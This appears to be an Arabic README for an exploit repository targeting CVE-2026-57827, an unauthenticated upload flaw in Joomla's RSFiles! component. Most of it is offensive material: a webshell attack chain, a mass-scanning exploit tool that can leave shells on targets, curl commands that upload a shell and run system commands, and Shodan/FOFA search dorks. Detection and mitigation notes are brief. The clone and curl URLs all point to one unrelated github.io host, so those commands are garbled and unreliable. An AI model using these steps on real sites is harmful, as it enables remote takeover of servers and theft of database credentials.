
توضيح ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في مكوّن RSFiles! الخاص بجوملا من خلال رفع ملفات تعسفي.
CVE-2026-57827 هي ثغرة رفع عشوائي للملفات غير مصادق عليها بدرجة خطورة حرجة (CVSS 9.8) في RSFiles! (com_rsfiles)، وهو مكوّن شائع الاستخدام لإدارة الملفات والتنزيلات في Joomla، للإصدارات < 1.17.12.
تستغل الثغرة خللًا في تصميم المتحكّم المقسوم (split-controller): إذ يفصل RSFiles! عملية الرفع إلى مهمّتين في الواجهة الأمامية — فحص مسبق (بوابة صلاحيات + قائمة سماح بالامتدادات) ودالة كتابة (تحفظ الملف على القرص). يمكن استدعاء دالة الكتابة مباشرةً، متجاوزًا الفحص المسبق بالكامل. لا حاجة إلى أي مصادقة أو رمز CSRF.
| الإصدار | الحالة |
|---|---|
| < 1.17.12 | مُعرَّض للثغرة |
| 1.17.12+ | مُصحَّح |
اكتُشفت بواسطة: Phil Taylor، mySites.guru (10 يوليو 2026) البائع: RSJoomla (rsjoomla.com) المكوّن: com_rsfiles
يقسّم RSFiles! عملية الرفع عبر مهمّتين منفصلتين في الواجهة الأمامية داخل /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload، متجاوزًا الفحص المسبق بالكامل.JFile::upload())، الذي يقبل أي نوع ملف افتراضيًا..htaccess الوقائي الذي كان سيمنع تنفيذ PHP هناك هو إعداد اختياري (opt-in) في لوحة الإدارة ويكون مُعطَّلًا افتراضيًا.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
فحوصات الأمان (بوابة الصلاحيات + قائمة السماح بالامتدادات) هي خطوة مسبقة منفصلة عن الدالة التي تكتب الملف فعليًا. الأولى فقط تحتوي على الفحوصات. أما الثانية — التي تكتب على القرص — فيمكن استدعاؤها مباشرةً عبر صياغة معامل task المناسب في الرابط، متجاوزةً جميع ضوابط الأمان.
هذا مثال نموذجي على النمط المضاد «الفحوصات والإجراءات في أماكن مختلفة»: الحارس والعملية التي يفترض أن يحميها منفصلان، ويمكن للمهاجم الوصول إلى العملية دون المرور عبر الحارس.
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
الخطوة 1 — رفع القشرة (shell)
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
الخطوة 2 — الوصول إلى القشرة
curl 'https://candisexterior171.github.io'
الخطوة 3 — تنفيذ الأوامر
curl 'https://candisexterior171.github.io;hostname;uname -a'
التخفيف (إذا لم يكن التحديث ممكنًا)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
الاستغلال الناجح يتيح تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مستخدم خادم الويب:
configuration.php → بيانات اعتماد قاعدة البيانات وأسرار SMTPلا يلزم وجود حساب على الموقع في أي خطوة. مجهول الهوية، غير مصادق عليه، عن بُعد.
أصلحت RSJoomla الثغرة في الإصدار 1.17.12 عبر:
.htaccess في مجلد التنزيلات مُفعَّلة افتراضيًالأغراض تعليمية وللاختبار المصرّح به فقط.
لا تستخدمه ضد أنظمة دون إذن صريح من المالك. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.
غير تابعة لـ RSJoomla أو mySites.guru.
| الملف | الغرض |
|---|
/components/com_rsfiles/controllers/rsfiles.php | المتحكّم الذي يحتوي على المهمّتين الضعيفتين upload() وcheckupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | قالب نموذج الرفع في الواجهة الأمامية (مؤكَّد: name="file", task=rsfiles.upload) |
/downloads/ | مجلد التنزيلات الافتراضي في جذر الويب (حماية .htaccess مُعطَّلة افتراضيًا) |
/briefcase/ | مجلد الحقيبة (briefcase) (قابل للكتابة أيضًا) |
| المصدر | الرابط |
|---|
| إدخال NVD | CVE-2026-57827 |
| نشرة mySites.guru | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| نشرة RSJoomla | rsjoomla.com |
| CWE-434 | رفع غير مقيد لملف من نوع خطير |
| المُبلِّغ | Phil Taylor، mySites.guru |